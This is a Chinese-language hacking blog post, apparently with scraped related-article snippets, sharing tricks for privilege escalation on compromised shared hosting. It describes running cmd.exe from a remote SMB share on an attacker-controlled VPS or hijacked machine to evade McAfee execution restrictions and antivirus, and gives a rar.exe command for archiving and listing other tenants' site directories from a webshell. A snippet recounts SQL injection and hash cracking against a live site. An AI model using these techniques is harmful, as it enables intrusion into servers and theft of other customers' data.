摘要：是否大家遇到虛擬主機提權的時候，有這種情況,不管你寫哪都提示的 拒絕訪問？ 原因大多數是麥咖啡的乙個功能，只讓特定的目錄可以執行程式，比如(c:\progra~1和c:\windows\system32\)這些目錄區執行程式，當然這些目錄不可能讓你寫，其他的任何可寫的目錄都...
是否大家遇到虛擬主機提權的時候，有這種情況,不管你寫哪都提示的 "拒絕訪問"？
原因大多數是麥咖啡的乙個功能，只讓特定的目錄可以執行程式，比如(c:\progra~1和c:\windows\system32\)這些目錄區執行程式，當然這些目錄不可能讓你寫，其他的任何可寫的目錄都不會讓你執行，都會是拒絕訪問。
下面是個人的小技巧：
1： 是否大家會想到呼叫遠端路徑去執行cmd,比如(\\x.x.x.x\test\cmd.exe)，經過我的測試是可以成功的，而且就算你exp不免殺，殺軟也不會提示！當時記得我有個t00ls的朋友找提權，也是這種情況，當時幫他解決了。呼叫遠端路徑的時候要注意一下幾點：
1：找一台自己的vps或者打下來的肉雞，自己的機器需要開啟445埠，啟用guest使用者，在組策略中將 網路訪問: 本地帳戶的共享和安全模型 改為經典，所在共享目錄程式給everyone許可權，如圖：
2：還要注意一點就是你要提權的機器能去訪問你自己vps的445埠，想知道能不能訪問可以在shell上掃一下（如果不能，他肯定能去訪問c段中機器的共享，明白啥意思了？）
2：這裡提到的第二個小技巧就是利用winrar，應該有些人已經會用他去列目錄了，（這個方法就是你實在提不了，補丁很全，要麼就是殺軟很牛，而免殺不是你的強項，如果你想跨目錄弄到目標站），首先在目標站找個位址,
然後shell裡面c:\progra~1\winrar\rar.exe a -k -r -s -m1 c:\windows\temp\xx.rar e:\freehost\***asdfdsafsaf.jpg，這樣shell中會回顯你打包成功，目標**根路徑會顯示出來，然後你打包**根路徑，會將**所有目錄列出來，你們可能會問，都是虛擬許可權你怎麼過去，可是我測試了星外，新網的虛擬主機，都成功列出目錄並打包。。
就是提權的一點小技巧，大牛勿噴。
虛擬主機的提權兩個小技巧
從別人那裡看到了 對虛擬主機的提權很有幫助 就收藏了 0x01 是否大家會想到呼叫遠端路徑去執行cmd,比如 x.x.x.x test cmd.exe 經過我的測試是可以成功的，而且就算你exp不免殺，殺軟也不會提示！當時記得我有個t00ls的朋友找提權，也是這種情況，當時幫他解決了。呼叫遠端路徑的...
快速對虛擬主機進行滲透提權 黑客部落格
假期無聊，隨便亂逛，來到了乙個新加坡站點，很普通，估計是asp access的站點，隨手點開乙個頁面，用 0 1 簡單測試發現存在注入。立馬將 丟到啊d中，不一會兒，啊d就成功猜解出後台使用者名稱密碼。密碼被md5加密，在cmd5網上查得原文，登入後台，有種似曾相識的感覺，估計是國內的程式設計師開發...
apache 虛擬主機配置技巧
nacgcugmevirtualhost 111.22.33.44 servername documentroot www sample servername www.cppcns.comnbsp documentroot www sample2 但是在有些 ip 位址充裕，但是機器資源緊張的環境下...